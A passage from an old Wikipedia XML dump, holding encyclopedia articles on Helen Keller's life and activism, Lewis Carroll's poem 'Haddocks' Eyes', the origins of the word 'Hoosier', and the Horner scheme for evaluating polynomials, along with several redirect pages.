In 1886, her mother Kate Keller was inspired by an account in [[Charles Dickens]]' ''[[American Notes]]'' of the successful education of another deaf/blind child, [[Laura Bridgman]], and travelled to a specialist doctor in [[Baltimore]] for advice. He put her in touch with local expert [[Alexander Graham Bell]], who was working with deaf children at the time. Bell advised the couple to contact the [[Perkins Institute for the Blind]], the school where Bridgman had been educated, which was then located in [[South Boston, Boston, Massachusetts]]. The school delegated [[teacher]] and former student, [[Anne Sullivan]], herself visually impaired and then only 20 years old, to try to open up Helen's mind. It was the beginning of a 49-year-long period of working together. 

Sullivan demanded and got permission from Helen's father to isolate the girl from the rest of the family in a little house in their garden. Her first task was to instill [[discipline]] in the spoiled girl. Helen's big breakthrough in communication came one day when she realized that the motions her teacher was making on her palm, while running cool water over her palm from a pump, symbolized the idea of &quot;water&quot; and nearly exhausted Sullivan demanding the names of all the other familiar objects in her world (including her prized doll). 

In 1890, ten-year-old Helen Keller was introduced to the story of [[Ragnhild Kaata]] - a deafblind Norwegian girl who had learned to speak. Ragnhild Kaata's success inspired Helen - she wanted to learn to speak as well. Anne was able to teach Helen to think intelligibly and to speak, using the [[Tadoma]] method: touching the lips of others as they spoke, feeling the [[vibration]]s, and spelling of [[alphabet]]ical characters in the palm of Helen's hand. She also learned to read English, French, German, Greek, and Latin in [[Braille]].

===Education===
In 1888, Helen attended the [[Perkins School for the Blind]]. In 1894, Helen and Anne moved to [[New York City]] to attend the [[Wright-Humason School for the Deaf]]. 

In 1898 they returned to Massachusetts and Helen entered [[The Cambridge School of Weston|The Cambridge School for Young Ladies]] before gaining admittance, in 1900, to [[Radcliffe College]]. In 1904 at the age of 24, Helen graduated from Radcliffe ''[[cum laude]]'', becoming the first deaf and blind person to graduate from a college.

[[Image:HK-gradpic.jpg|thumb|right|200px|Helen Keller, graduation from Radcliffe College, c. 1904]]

===Political activities===
Helen went on to become a world-famous speaker and [[author]]. She is remembered as an advocate for the  sensorially handicapped, but also supported progressive causes. She was a [[suffrage|suffragist]], a [[pacifism|pacifist]] and a birth control supporter. In 1915 she founded [[Helen Keller International]], a non-profit organization for preventing blindness. Helen and Anne Sullivan traveled all over the world to over 39 countries, and made several trips to Japan, becoming a favorite of the Japanese people. Helen Keller met every U.S. President from [[Grover Cleveland]] to [[Lyndon B. Johnson]] and was friends with many famous figures including [[Alexander Graham Bell]], [[Charlie Chaplin]] and [[Mark Twain]].

Helen Keller was a member of the [[Socialist Party]] and actively campaigned and wrote in support of the [[working class]]es from 1909 to 1921. She supported [[Socialist Party]] candidate [[Eugene V. Debs]] in each of his campaigns for the presidency. Her political views were reinforced by visiting workers. In her words, &quot;I have visited sweatshops, factories, crowded slums. If I could not see it, I could smell it.&quot;

Newspaper columnists who had praised her courage and intelligence before she came out as a socialist now called attention to her disabilities. The editor of the [[Brooklyn Eagle]] wrote that her &quot;mistakes sprung out of the manifest limitations of her development.&quot; Keller responded to that editor, referring to having met him before he knew of her political views:

&lt;blockquote&gt;&quot;At that time the compliments he paid me were so generous that I blush to remember them. But now that I have come out for socialism he reminds me and the public that I am blind and deaf and especially liable to error. I must have shrunk in intelligence during the years since I met him...Oh, ridiculous Brooklyn ''Eagle''! Socially blind and deaf, it defends an intolerable system, a system that is the cause of much of the physical blindness and deafness which we are trying to prevent.&quot;&lt;/blockquote&gt;

Helen Keller also joined the famous labor union, the [[Industrial_Workers_of_the_World|Industrial Workers of the World (IWW)]], in 1912 after she felt that parliamentary socialism was &quot;sinking in the political bog.&quot; Helen Keller wrote for the IWW between 1916 and 1918. In &quot;[http://www.marxists.org/reference/archive/keller-helen/works/1910s/16_01_16.htm Why I Became an IWW],&quot; Helen wrote that her motivation for activism came in part due to her concern about blindness and other disabilities:

&lt;blockquote&gt;&quot;I was appointed on a commission to investigate the conditions of the blind. For the first time I, who had thought blindness a misfortune beyond human control, found that too much of it was traceable to wrong industrial conditions, often caused by the selfishness and greed of employers. And the social evil contributed its share. I found that [[poverty]] drove women to a life of shame that ended in blindness.&quot;&lt;/blockquote&gt;

===Writings===
In 1960, her book ''[[Light in my Darkness]]'' was published in which she advocated the teachings of the Swedish scientist and philosopher [[Emanuel Swedenborg]].  She also wrote a lengthy autobiography called ''The Story of My Life''.  She wrote a total of eleven books, and authored numerous articles.

===Honors===
On [[September 14]], [[1964]], [[President]] [[Lyndon B. Johnson]] awarded her the [[Presidential Medal of Freedom]], the United States' highest civilian honor. 

The state of Alabama honored Keller &amp;mdash; a native of the state &amp;mdash; on its [[:Image:Alabama quarter, reverse side, 2003.jpg|state quarter]]. 
There was also the Helen Keller Hospital that was dedicated to her.

===Later life===
Keller devoted much of her later life to raise funds for the [[American Foundation for the Blind]].

==Death==

Helen Keller died on [[June 1]], [[1968]], at the age of 87 from natural causes at 3:35 P.M. in Arcan Ridge, [[Easton, Connecticut]], more than 30 years after the death of Anne Sullivan, and was [[cremated]] in [[Bridgeport, Connecticut]]. Some sources, including an obituary in The New York Times, mistakenly said she died in [[Westport, Connecticut]]. The confusion arose from her use of a Westport postal box for her Arcan Ridge estate. Easton, which did not have a post office at the time, has named a middle school after one of its most famous residents. Her memorial service was at [[Washington National Cathedral]], where she was buried. Her tomb is located in the rear of the St. Joseph's Chapel on the Crypt level of the Cathedral.

==Helen Keller in the arts and popular culture==
A [[silent film]], ''[[Deliverance (1919 movie)|Deliverance]]'' (not to be mistaken for the other, much later and more famous movie ''[[Deliverance]]'' which is irrelevant to Keller) first told Keller's story. ''[[The Miracle Worker]]'', a [[play]] about how Helen Keller learned to communicate, was made into a [[film|movie]] three times. The 1962 [[The Miracle Worker|version]] of the movie won [[Academy Awards]] for [[Academy_Award_for_Best_Actress|Best Actress in a Leading Role]] for [[Anne Bancroft]] who played Sullivan and [[Academy_Award_for_Best_Supporting_Actress|Best Actress in a Supporting Role]] for [[Patty Duke]] who played Keller.

Another recent [[film]] about Helen Keller's life is ''[[The Miracle Continues]]''. This semi-sequel to ''The Miracle Worker'' recounts her college years and her early adult life. None of the early movies hint at the social activism that would become the hallmark of Helen's later life, although the [[The Walt Disney Company]] version produced in 2000 states in the credits that Helen became an activist for social equality.

The [[Hindi]] [[Bollywood|movie]] ''[[Black (2005)|Black]]'' released in 2005 was largely based on Keller's story, from her childhood to her graduation.

A new [[documentary]] ''[[Shining Soul: Helen Keller's Spiritual Life and Legacy]]'' was produced and recently released by The Swedenborg Foundation (2005).  The [[film]] focuses on the role played by Emanuel Swedenborg's spiritual theology in her life and how it inspired Keller's triumph over her triple disabilities of blindness, deafness and a severe speech impediment.

In the comedy cartoon series [[South Park]] Helen Keller's life was shown in a musical.

Her life and achievements are celebrated annually in [[Tuscumbia, Alabama]], her hometown, in the [http://www.wraygraphics.com/hkfest/ Helen Keller festival].

In the animated series [[Family Guy]], the final scene of '''The Miracle Worker''' was shown in one episode with the characters speaking in [[Binary numeral system|binary]].  In another episode, the character Stewie played [[Marco Polo (game)|Marco Polo]] with her, while she obviously could not respond to his calls.

[[Strangers With Candy]] featured an episode with a scene done to mimic the 'miracle' scene of &quot;The Miracle Worker.&quot; 

Helen Keller has been one of the favourite targets of [[joke|jokes]] (seen by some as in poor taste) referring to her handicaps, and many collections are available on the internet [http://www.jokechallenge.com/keller.html].

In the [[&quot;Weird Al&quot; Yankovic]] song &quot;[[It's All About The Pentiums]]&quot;, there is a lyric &quot;You're about as useless as JPEGs to Helen Keller&quot;. JPEGs are computer picture files, which are of no use to a blind person.

Keller is the fifth most [[Gallup's List of Widely Admired People|admired]] person in the 20th century, according to [[Gallup]].

==External links==
{{Wikisource author}}
{{wikiquote|Helen Keller}}
*[http://www.afb.org/helenkeller.asp American Foundation for the Blind's Helen Keller collection]
**[http://www.afb.org/braillebug/hkmuseum.asp Helen Keller Kids Museum Online]
* {{gutenberg author| id=Helen+Keller | name=Helen Keller}}
**{{gutenberg|no=2397|name=The Story of my life ''by Helen Keller'}}
*[http://www.helenkellerbirthplace.org/ Official site of Ivy Green, Helen Keller's birthplace]
*[http://www.medaloffreedom.com/HelenKeller.htm Presidential Medal of Freedom, Helen Keller]
*[http://www.helenkeller.org/ The Helen Keller Services for the blind]
*[http://www.usmint.gov/mint_programs/50sq_program/states/index.cfm?flash=yes&amp;state=AL A likeness of Helen Keller is featured on Alabama's quarter]
*[[Marxists Internet Archive]]: [http://www.marxists.org/reference/archive/keller-helen/index.htm Helen Keller Reference Archive].
**[http://www.marxists.org/reference/archive/keller-helen/works/1910s/12_11_03.htm How I Became A Socialist], by Helen Keller, 1912-11-03
* [http://www.iww.org Industrial Workers of the World]
*[http://www.nytimes.com/learning/general/onthisday/bday/0627.html#top New York Times Obituary]

[[Category:1880 births|Keller, Helen]]
[[Category:1968 deaths|Keller, Helen]]
[[Category:Deafblind people|Keller, Helen]]
[[Category:Socialists|Keller, Helen]]
[[Category:Socialist Party of America|Keller, Helen]]
[[Category:Presidential Medal of Freedom recipients|Keller, Helen]]
[[Category:People from Alabama|Keller, Helen]]
[[Category:Swedenborgians|Keller, Helen]]
[[Category:Phi Beta Kappa|Keller, Helen]]

[[zh-min-nan:Helen Keller]]
[[ca:Helen Keller]]
[[de:Helen Keller]]
[[es:Helen Keller]]
[[eo:Helen KELLER]]
[[fr:Helen Keller]]
[[ko:헬렌 켈러]]
[[he:הלן קלר]]
[[mk:Хелен Келер]]
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[[ta:ஹெலன் கெல்லர்]]
[[zh:海倫·凱勒]]</text>
    </revision>
  </page>
  <page>
    <title>History of Poland -- World War II 1939-1945</title>
    <id>14256</id>
    <revision>
      <id>28020159</id>
      <timestamp>2005-11-11T12:24:13Z</timestamp>
      <contributor>
        <username>Susvolans</username>
        <id>94325</id>
      </contributor>
      <comment>update redirect</comment>
      <text xml:space="preserve">#REDIRECT[[History of Poland (1939–1945)]]</text>
    </revision>
  </page>
  <page>
    <title>Haddocks eyes</title>
    <id>14257</id>
    <revision>
      <id>30131807</id>
      <timestamp>2005-12-04T18:26:37Z</timestamp>
      <contributor>
        <username>AnonMoos</username>
        <id>21047</id>
      </contributor>
      <comment>/* Naming */ more accurate wording from book</comment>
      <text xml:space="preserve">This is a [[poetry|poem]] by [[Lewis Carroll]] from '''[[Through the Looking-Glass]]'''.  It is sung by the [[White Knight]] in chapter eight to the tune that he claims to be his own invention, but which Alice recognizes as ''[[My Heart and Lute|I give thee all, I can no more]]''. 

By the time Alice heard it, she was already getting tired of poetry.

It is a parody of ''Resolution and Independence'' by [[William Wordsworth]].

==Naming==

The White Knight explains the rather confusing naming for the song.

*The song's name is called  ''Haddocks' Eyes''
*The song's name really is  ''The Aged Aged Man''
*The song is called         ''Ways and Means''
*The song really is    ''A-sitting On a Gate''

This complicated set of names has been used as a metaphor for the [[use-mention distinction]].

==The Poem==

:I'll tell thee everything I can:
::There's little to relate.
:I saw an aged aged man,
::A-sitting on a gate.
:&quot;Who are you, aged man?&quot; I said,
::&quot;And how is it you live?&quot;
:And his answer trickled through my head,
::Like water through a sieve.


:He said &quot;I look for butterflies
::That sleep among the wheat:
:I make them into mutton-pies,
::And sell them in the street.


:I sell them unto men,&quot; he said,
::&quot;Who sail on stormy seas;
:And that's the way I get my bread --
::A trifle, if you please.&quot;


:But I was thinking of a plan
::To dye one's whiskers green,
:And always use so large a fan
::That they could not be seen.
:So, having no reply to give
::To what the old man said,
:I cried &quot;Come, tell me how you live!&quot;
::And thumped him on the head.


:His accents mild took up the tale:
::He said &quot;I go my ways,
:And when I find a mountain-rill,
::I set it in a blaze;
:And thence they make a stuff they call
::Rowlands' Macassar-Oil --
:Yet twopence-halfpenny is all
::They give me for my toil.&quot;


:But I was thinking of a way
::To feed oneself on batter,
:And so go on from day to day
::Getting a little fatter.
:I shook him well from side to side,
::Until his face was blue:
:&quot;Come, tell me how you live,&quot; I cried,
::&quot;And what it is you do!&quot;


:He said &quot;I hunt for haddocks&quot; eyes
::Among the heather bright,
:And work them into waistcoat-buttons
::In the silent night.
:And these I do not sell for gold
::Or coin of silvery shine,
:But for a copper halfpenny,
::And that will purchase nine.


:&quot;I sometimes dig for buttered rolls,
::Or set limed twigs for crabs:
:I sometimes search the grassy knolls
::For wheels of Hansom-cabs.
:And that's the way&quot; (he gave a wink)
::&quot;By which I get my wealth--
:And very gladly will I drink
::Your Honour's noble health.&quot;


:I heard him then, for I had just
::Completed my design
:To keep the [[Menai Suspension Bridge|Menai bridge]] from rust
::By boiling it in wine.
:I thanked him much for telling me
::The way he got his wealth,
:But chiefly for his wish that he
::Might drink my noble health.


:And now, if e'er by chance I put
::My fingers into glue,
:Or madly squeeze a right-hand foot
::Into a left-hand shoe,


:Or if I drop upon my toe
::A very heavy weight,
:I weep, for it reminds me so
:Of that old man I used to know--
:Whose look was mild, whose speech was slow
:Whose hair was whiter than the snow,
:Whose face was very like a crow,
:With eyes, like cinders, all aglow,
:Who seemed distracted with his woe,
:Who rocked his body to and fro,
:And muttered mumblingly and low,
:As if his mouth were full of dough,
:Who snorted like a buffalo--
:That summer evening long ago,
::A-sitting on a gate.

==Upon the Lonely Moor==

In [[1856]], Carroll published the following poem anonymously under the name ''Upon the Lonely Moor''.  The two poems are quite obviously related.

:I met an aged, aged man
:Upon the lonely moor:
:I knew I was a gentleman,
:And he was but a boor.
:So I stopped and roughly questionned him,
:&quot;Come, tell me how you live!&quot;
:But his words impressed my ear no more
:Than if it were a sieve.


:He said, &quot;I look for soap-bubbles,
:That lie among the wheat,
:And bake them into mutton-pies,
:And sell them in the street.
:I sell them unto men,&quot; he said,
:&quot;Who sail on stormy seas;
:And that's the way I get my bread -
:A trifle, if you please.&quot;


:But I was thinking of a way
:To multiply by ten,
:And always, in the answer, get
:The question back again.
:I did not hear a word he said,
:But kicked that old man calm,
:And said, &quot;Come, tell me how you live!&quot;
:And pinched him in the arm.


:His accents mild took up the tale:
:He said, &quot;I go my ways,
:And when I find a mountain-rill,
:I set it in a blaze.
:And thence they make a stuff they call
:Rowland's Macassar Oil;
:But fourpence-halfpenny is all
:They give me for my toil.&quot;


:But I was thinking of a plan
:To paint one's gaiters green,
:So much the color of the grass
:That they could ne'er be seen.
:I gave his ear a sudden box,
:And questioned him again,
:And tweaked his grey and reverend locks,
:And put him into pain.


:He said, &quot;I hunt for haddock's eyes
:Among the heather bright,
:And work them into waistcoat-buttons
:In the silent night.
:And these I do not sell for gold,
:Or coin or silver-mine,
:But for a copper-halfpenny,
:And that will purchase nine.


:&quot;I sometimes dig for buttered rolls,
:Or set limed twigs for crabs;
:I sometimes search the flowery knolls
:For wheels of hansom cabs.
:And that's the way&quot; (he gave a wink)
:&quot;I get my living here,
:And very gladly will I drink
:Your Honour's health in beer.&quot;


:I heard him then, for I had just
:Completed my design
:To keep the Menai bridge from rust
:By boiling it in wine.
:I duly thanked him, ere I went,
:For all his stories queer,
:But chiefly for his kind intent
:To drink my health in beer.


:And now if e'er by chance I put
:My fingers into glue,
:Or madly squeeze a right-hand foot
:Into a left-hand shoe;
:Or if a statement I aver
:Of which I am not sure,
:I think of what strange wanderer
:Upon the lonely moor.

==See also==
*[[Nonsense verse]]

==References==
*'''[[Through the Looking-Glass]]''' by [[Lewis Carroll]]
*''[[The Annotated Alice]]'', Martin Gardner ISBN 0-713-99417-7
*[http://www.alice-in-wonderland.net/?alice7.html Lenny's Alice in Wonderland Site]

[[Category:British poems]]</text>
    </revision>
  </page>
  <page>
    <title>Hannukah</title>
    <id>14258</id>
    <revision>
      <id>15911824</id>
      <timestamp>2005-02-28T11:27:10Z</timestamp>
      <contributor>
        <username>Evertype</username>
        <id>58589</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Hanukkah]]</text>
    </revision>
  </page>
  <page>
    <title>Chanukah</title>
    <id>14259</id>
    <revision>
      <id>15911825</id>
      <timestamp>2005-02-28T11:04:08Z</timestamp>
      <contributor>
        <username>Evertype</username>
        <id>58589</id>
      </contributor>
      <comment>Chanukah moved to Hanukkah</comment>
      <text xml:space="preserve">#redirect [[Hanukkah]]
</text>
    </revision>
  </page>
  <page>
    <title>Hoosier</title>
    <id>14260</id>
    <revision>
      <id>41747757</id>
      <timestamp>2006-03-01T13:26:44Z</timestamp>
      <contributor>
        <username>Dogface</username>
        <id>18290</id>
      </contributor>
      <comment>/* Origin of the word */  Added link to poem.</comment>
      <text xml:space="preserve">A '''Hoosier''' {{IPA|/ˈhu.ʒɚ/}}is a resident or native of the [[U.S. state]] of [[Indiana]].  The term is commonly accepted and employed at all levels of discourse by Hoosiers themselves, and is considered neither derogatory nor informal.  The word ''Indianan'', as either noun or adjective, is rarely used by or about natives of Indiana.  Deriving from common usage, &quot;Hoosiers&quot; is the team name for [[Indiana Hoosiers|Indiana University athletic teams]], and a movie starring [[Gene Hackman]], about an Indiana high school basketball team that was also called ''[[Hoosiers]]''.


==Origin of the word==
According to the ''[[Oxford English Dictionary]]'', the [[etymology]] of the word is unknown, but it has been in use since at least [[1826]].  According to [[Bill Bryson]], there are many suggestions for the derivation of the word &quot;Hoosier,&quot; but none is universally accepted.

It first came into general usage in the 1830s. John Finley of Richmond wrote a poem, [http://www.waynet.org/facts/hoosiersnest.htm ''The Hoosier's Nest''], which was used as the &quot;Carrier's Address&quot; of the ''Indianapolis Journal'', [[January 1]], [[1833]]. As it came into common usage, the debates about the term's origin began.

Some common hypotheses are:

===Frontier slang===
The most common belief is that the term was a greeting. When approaching a man's home in those early frontier days, you shouted from afar, &quot;Hello, the cabin!&quot; to avoid being shot. The inhabitants would then shout back &quot;Who'sh 'ere?&quot; (who's there). As it got slurred together over time, the country folk came to be called Hoosiers. 

Additionally, &quot;Hussar&quot; was a term used on the [[Kentucky]] frontier for people who were public nuisances. According to local tradition, hussars were hard drinking carousers. This theory carries the implication that a large share of such folks came from Indiana.

===Strongmen===
Indiana rivermen were so spectacularly successful in trouncing or &quot;hushing&quot; their adversaries in the brawling that was then common that they became known as &quot;hushers.&quot;

Additionally, the poet [[James Whitcomb Riley]] facetiously suggested that the fierce brawling that took place in Indiana involved enough ear biting that the expression &quot;Whose ear?&quot; was common enough to be notable.

===Contract labor===
A contractor reportedly named Samuel Hoosier preferred to hire workers from Indiana during the construction of the [[McAlpine Locks and Dam|Louisville and Portland Canal]] in [[Louisville, Kentucky|Louisville]].  His employees became known as &quot;Hoosier's men&quot; and finally just &quot;Hoosiers.&quot;

A similar story involves the [[National Road]], which got its start in Cumberland , Maryland, and slowly extended westward as the United States expanded (now called [[U.S. Highway 40|U.S. 40]]). It truly was a &quot;national&quot; road, in that it was &quot;macadamized&quot; (&quot;macadam&quot; is called &quot;[[asphalt]]&quot; today), quite an innovation for the nineteenth century. It was far ahead of its time, easily providing the best transportation route of its era. The road had reached [[Columbus, Ohio]], just about the time that Indiana was in its final stage as a territory. 

As plans were made to extend the highway to [[Richmond, Indiana]], the call went out for laborers. Knowing that the federal government would pay &quot;top dollar,&quot; workers for a contractor in the [[Indiana Territory]] reportedly named Robert Hoosier asked their boss if they could go work for this higher wage in the neighboring state of [[Ohio]] (Ohio attained statehood 13 years before Indiana did). Mr. Hoosier gave his consent, asking them to return to work for him when this section of the road was done. 

Just as in the Sam Hoosier story, the crew of Indiana workers proved to be industrious, conscientious, and efficient. The Federal foreman referred to the group as &quot;Hoosiers&quot; meaning they were workers that Robert Hoosier had allowed to join the national work crew. It wasn't long before people along the National Road used the term to describe the folks living in the territory to the west.

===Americanized foreign language===
Jacob Piatt Dunn, Jr., Indiana historian and secretary of the Indiana Historical Society concluded that the term stemmed from the word &quot;hoozer&quot; from the Cumberland dialect of England, deriving from the Anglo-Saxon word &quot;hoo&quot; meaning high or hill. Immigrants from Cumberland, England settled in the Southern Appalachians and then migrated to the southern hills of Indiana, bringing the term with them.

===Military origin===
Another plausible explanation for &quot;Hoosier&quot; is that it sprang from [[Kosciusko County, Indiana|Kosciusko County]] in the northern part of the state. Indeed [[Tadeusz Kościuszko]], a Polish noble who fought with [[George Washington]] in the [[Revolutionary War]], may have been the first &quot;Hoosier.&quot; (This explanation was provided from research by Eugene Eoyang, professor at [[Indiana University Bloomington|Indiana University]]). 

Here again, &quot;Hoosier&quot; reflects the American penchant over the years of mispronouncing words and place names from other languages. and is a corruption of the Polish word, ''huzar'' or ''hussar'' (Hungarian ''hussar'', Russian ''hussar'', French ''hussard'') which before the [[15th century]], according to the [[Oxford English Dictionary]] meant &quot;freebooter, freelance.&quot; 

Then, in the second half of the 15th century, it acquired the meaning of &quot;light horsemen.&quot; It is this sense that the term could be applied to the dashing, heroic light [[cavalry]] regiments who &quot;fought with George Washington in the Revolutionary War.&quot;  The military connotations of &quot;hoosier&quot; are strikingly reinforced in the Journal of the Kosciuszko Guards by [[William S. Hemphill]]. William S. Hemphill was born in 1832 and died in 1907. 

There is no indication of the exact year in which the journal was written, but it was, presumably, sometime in the years following the end of the Civil War in 1865 and before his death in 1907. The word ''hoosier'' or ''hoosiers'' occurs frequently in the journal. Indeed, the Indiana regiment who fought in the Civil War named their camp &quot;Hoosiertown.&quot; 

Perhaps, the most telling anecdote is of a splendid [[Massachusetts]] regiment who disdained to soil their hands with the chore of moving a massive rock. So the regiment from Indiana, referred to as &quot;Hoosiers,&quot; sets about the project. The soldiers from Massachusetts merely looked on. &quot;A large, fine looking man,&quot; Hemphill recalls, &quot;wearing a common soldier's blouse and slouch hat, on passing, had paused to watch the proceedings.&quot; 

He began to berate the leader of the Massachusetts regiment, a second lieutenant. Abashed, the second lieutenant takes on airs, and threatens to teach the interloper some manners, but upon noticing that the &quot;burley form of the Hoosier looked rather formidable, decided to appeal to Hemphill, who was in charge of the Indiana regiment.&quot; 

&quot;Sergeant,&quot; the second lieutenant said, &quot;this is one of your men; arrest him and take him to your commanding officer. I will prefer charges against him and have him properly punished!&quot; Hemphill took no action; as he reported later, because &quot;I was full of laughter that I could make no answer.&quot; 

When the interloping Hoosier realized how upset the second lieutenant was, he makes a pretty speech&amp;mdash;if not an apology, then of polite remonstrance&amp;mdash;;ending with these plainspoken words: &quot;I guess the Sergeant will not arrest me, but if you wish to prefer charges against me, you can do so. I am Lieut. Col. George Humphrey, of the 12th Ind. Inf. at your service.&quot; 

Hemphill adds: &quot;It was a complete take down; and the Lieutenant's turn to apologize. The Hoosiers all joined in the laugh, and three cheers were given for Col. Humphrey; while the crest fallen Yankees quietly returned to their camp to wonder what kind of men the Hoosiers were anyhow.&quot;

===Humorists===
Humorist [[Dave Barry]] has suggested that it comes from &quot;the sound pigs make when they sneeze.&quot;  He had also speculated that, for all we know, it could be a Native American word meaning &quot;sex with caribou,&quot; although many of his astute readers pointed out that there are no [[caribou]] in Indiana.

==Other uses==

In some areas, the word ''hoosier'' has a different connotation.  In the [[St. Louis, Missouri|St. Louis]] area of [[Missouri]] and [[Illinois]], a hoosier may be someone who is lower-class and white (like ''[[white trash]]'' and ''[[redneck]]'').

&quot;[[Hoosier (furniture)|Hoosier]]&quot; was also a brand name used by the [[Hoosier (furniture)|Hoosier Manufacturing Company]], and refers particularly to its kitchen cabinets, which are collectible antiques. The company also made tables and [[chair]]s.  This furniture is much sought after in the antique world.  Little is known about this furniture company, other than that it was based in [[New Castle, Indiana]], between [[1903]] and [[1935]].

''See also [[Hoosier Hysteria]].''

==External links==
*[http://www.indiana.edu/~alumni/fun/hoosier.html Article on the name &quot;Hoosier&quot; from the Indiana University Alumni Association]
*[http://dictionary.reference.com/search?q=Hoosier Dictionary.com/Hoosier]
*[http://antiques.ozarkmerchants.com/keepitcountryantiques/washingtonpost_article.html Article: ''The Humble Hoosier'']
*[http://www.fs.fed.us/r9/hoosier/docs/history/hoosier_name.htm Hoosier National Forest &quot;What is a 'Hoosier'&quot; Web page]
*[http://www.indwes.edu/Faculty/bcupp/Indiana/Hoosier/Hoosier.Barry.htm Article: ''Explanation of &quot;Hoosiers&quot;] by Dave Barry

[[de:Hoosier]]

[[Category:Indiana]]</text>
    </revision>
  </page>
  <page>
    <title>Hilberts second problem</title>
    <id>14261</id>
    <revision>
      <id>41646768</id>
      <timestamp>2006-02-28T19:47:46Z</timestamp>
      <contributor>
        <username>Trovatore</username>
        <id>310173</id>
      </contributor>
      <comment>fx dbl rd; R from misspelling</comment>
      <text xml:space="preserve">#REDIRECT [[Gödel's incompleteness theorems]] {{R from misspelling}}</text>
    </revision>
  </page>
  <page>
    <title>History of M.O.S. Technologies</title>
    <id>14262</id>
    <revision>
      <id>15911828</id>
      <timestamp>2004-08-07T01:06:17Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[MOS Technology]]</text>
    </revision>
  </page>
  <page>
    <title>Horner scheme</title>
    <id>14263</id>
    <revision>
      <id>28724820</id>
      <timestamp>2005-11-19T03:47:36Z</timestamp>
      <contributor>
        <username>Dcoetzee</username>
        <id>13476</id>
      </contributor>
      <minor />
      <comment>Fix year</comment>
      <text xml:space="preserve">In the [[mathematics|mathematical]] subfield of [[numerical analysis]] the '''Horner scheme''' or '''Horner algorithm''', named after [[William George Horner]], is an [[algorithm]] for the efficient evaluation of [[polynomial]]s in [[monomial form]].

==History==
Even though it is named after William George Horner, who described the algorithm in [[1819]], it was already known to [[Isaac Newton]] in [[1669]] and even to the Chinese [[mathematician]] [[Ch'in Chiu-Shao]] around [[1200s]].

It has been shown that the Horner scheme is optimal, that is, any algorithm that evaluates an arbitrary polynomial must use at least as many steps. That the number of additions required is minimal was shown by [[Alexander Ostrowski]] in [[1954]], and [[Victor Pan]] proved that the number of multiplications is minimal in [[1966]].

==Basic idea==
Assume we want to evaluate the polynomial in the [[monomial form]]

:&lt;math&gt;p(x) = a_0 + a_1x + a_2x^2 + a_3x^3 + \cdots + a_nx^n.&lt;/math&gt;

for given ''a''&lt;sub&gt;0&lt;/sub&gt;,...,''a''&lt;sub&gt;''n''&lt;/sub&gt;. That is we want to know

:&lt;math&gt;p(x) = y&lt;/math&gt;

for a given ''x''. When using the monomial form of the polynomial we need ''n'' additions and (''n''&lt;sup&gt;2&lt;/sup&gt;+''n'')/2 multiplications for the calculation of ''p''(''x''). Our aim is to decrease the number of multiplications because they are slow and [[numerical stability | numerically unstable]] compared to the additions. The Horner algorithm rearranges the polynomial into the [[recursion|recursive]] form
 
:&lt;math&gt;p(x) = a_0 + x(a_1 + x(a_2 + \cdots x(a_{n-1} + a_n x)))&lt;/math&gt;

and then evaluates the polynomial recursively using only ''n'' additions and ''n'' multiplications. Additionally it is numerically more stable because we eliminated some multiplications. Alternatively it could be computed with ''n'' [[fused multiply-add]]s.

==Horner algorithm==

Given the polynomial

:&lt;math&gt;p(x) = a_0 + a_1 x + a_2 x^2 + a_3 x^3 + \cdots + a_n x^n.&lt;/math&gt;

we rearrange it into

:&lt;math&gt;p(x) = a_0 + x(a_1 + x(a_2 + \cdots x(a_{n-1} + a_n x)))&lt;/math&gt;

Then starting from the innermost parentheses and working outwards we define

:&lt;math&gt;
\begin{matrix}
    b_n &amp; := &amp; a_{n}             \\
b_{n-1} &amp; := &amp; a_{n-1} + b_{n} x \\
        &amp; \vdots &amp;              \\
  b_{0} &amp; := &amp; a_{0} + b_{1} x 
\end{matrix}
&lt;/math&gt;

If we put the ''b''&lt;sub&gt;''n''&lt;/sub&gt; in the polynomial we see that

:&lt;math&gt;
\begin{matrix}
p(x) &amp; = &amp; a_0 + x(a_1 + x(a_2 + \cdots x(a_{n-1} + b_n x))) \\
p(x) &amp; = &amp; a_0 + x(a_1 + x(a_2 + \cdots x(b_{n-1}))) \\
     &amp; \vdots &amp;              \\
p(x) &amp; = &amp; a_0 + x(b_1) \\
p(x) &amp; = &amp; b_0 \\
\end{matrix}
&lt;/math&gt;

so ''b''&lt;sub&gt;0&lt;/sub&gt; is the value of the polynomial ''p'' at ''x''.

==Application==
The Horner scheme is often used to convert between different positional [[numeral system]]s (in which case ''x'' is the base of the number system, and the ''a''&lt;sub&gt;''i''&lt;/sub&gt; are the digits) and can also be used if ''x'' is a [[matrix (math)|matrix]], in which case the gain is even larger.

The Horner scheme can also be viewed as a fast algorithm for dividing a polynomial by a linear polynomial (see [[Ruffini's rule]]).

==See also==
* William George Horner. A new method of solving numerical equations of all orders, by continuous approximation. In ''Philosophical Transactions of the Royal Society of London'', pp. 308-335, July 1819.
*[[Clenshaw algorithm]] to evaluate polynomials in [[Chebyshev form]]
*[[De Casteljau's algorithm]] to evaluate polynomials in [[Bézier form]]

==References==

* [[Donald Knuth|Donald Knuth]]. ''The Art of Computer Programming'', Volume 2: ''Seminumerical Algorithms'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89684-2. Pages 486&amp;ndash;488 in section 4.6.4.
* [[Thomas H. Cormen]], [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]]. ''[[Introduction to Algorithms]]'', Second Edition. MIT Press and McGraw-Hill, 2001. ISBN 0262032937. Problem 2-3 (pg.39) and page 823 of section 30.1: Representation of polynomials.

[[Category:Numerical analysis]]

[[de:Horner-Schema]]
[[fr:Méthode de Hörner]]
[[pl:Schemat Hornera]]
[[pt:Esquema de Horner]]
[[sv:Horners algoritm]]</text>
    </revision>
  </page>
  <page>
    <title>The Hexer</title>
    <id>14266</id>
    <revision>
      <id>41036572</id>
      <timestamp>2006-02-24T17:19:16Z</timestamp>
      <contributor>
        <username>Juliusz Mróz</username>
        <id>985075</id>
      </contributor>
